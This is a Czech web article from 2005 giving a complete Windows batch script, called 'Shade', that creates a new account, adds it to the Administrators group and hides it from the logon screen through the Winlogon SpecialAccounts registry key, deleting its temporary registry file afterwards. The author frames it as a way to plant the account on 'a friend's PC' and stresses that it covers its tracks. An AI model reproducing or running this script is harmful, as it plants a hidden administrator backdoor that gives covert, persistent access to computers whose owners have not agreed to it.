Zpět na seznam článků     Číst komentáře (8)     Verze pro tisk

HOWTO hide a user account II.

Autor: Emkei   
2.10.2005

Doplnění prvního dílu - praxe


První díl stejnojmenného článku, který vyšel někdy před prázdninami jsem zakončil větou, že trochu zkušenější uživatelé mohou celý zmíněný návod (včetně editace registru) zkrátit pomocí dávkového souboru na pouhé poklepání myší. Tento článek tedy nebude o ničem jiném, než jak si takový script vytvořit.

Jelikož se bude jednat o pouhý dávkový soubor, který má značně omezené možnosti, je nutné, aby byl spuštěn na účtu s administrátorskými právy a s možností editace systémových registrů (ideálně na kamarádově PC =)
Pokud se nechcete omezovat na nutnost mít povolen přístup k registrům, využijte již některý z HLL.

Následující script zkopírujte do 'Poznámkového bloku' a uložte jej pod názvem Shade (nebo samozřejmě jakýmkoliv jiným) s příponou .bat. Na druhém a třetím řádku je ještě nutné změnit hodnoty proměnných name a password, obsahujících jméno a heslo k vytvářenému a následně skrývanému účtu (nyní SystemNT s heslem secret). Za posledním příkazem scriptu je nutné "odentrovat", jinak by se poslední příkaz nevykonal, což by ale v našem případě ani tak moc nevadilo.



@ECHO OFF
SET name=SystemNT
SET password=secret
ECHO Shade 1.0 - Made by Emkei 2005
ECHO --------------------------------------------
chcp 1250 > NUL
net user %name% %password% /comment:"Pevný účet ke správě počítače a systému" /workstations:* /add > NUL
ECHO Vytvoreni uzivatelskeho uctu [OK]
net localgroup Administrators %name% /add > NUL
ECHO Pridani prav administratora [OK]
IF NOT EXIST %windir%\system32\reg.exe GOTO reg
%windir%\system32\reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v %name% /t REG_DWORD /d 0 /f > NUL
ECHO Editace systemoveho registru [OK]
GOTO end
:reg
CD %temp%
ECHO REGEDIT4>DelMe.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>DelMe.reg
ECHO "%name%"=dword:00000000>>DelMe.reg
regedit /s DelMe.reg
ECHO Y | DEL DelMe.reg > NUL
ECHO Editace systemoveho registru [OK]
:end
ECHO.
chcp 852 > NUL
PAUSE



Jinak script nejprve vytvoří účet se zadaným jménem a heslem, následně mu přidá administrátorská práva a pustí se do jeho skrývání pomocí systémových registrů. K tomu využije program 'reg.exe', který se standardně ve Windows nachází. V případě, že jej z nějakého důvodu nenalezne (administrátor ho např. z bezpečnostních důvodů smazal), vytvoří si vlastní .reg soubor, který spustí, čímž přidá hodnoty do registru, a zamete po sobě stopy. To vše za cenu pouhého poklikání myší...
Pokud je vám některá ze syntaxí nejasná, máte opět možnost využít komentářů.


Emkei


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 0/0

1  2  3  4  5    
(známkování jako ve škole)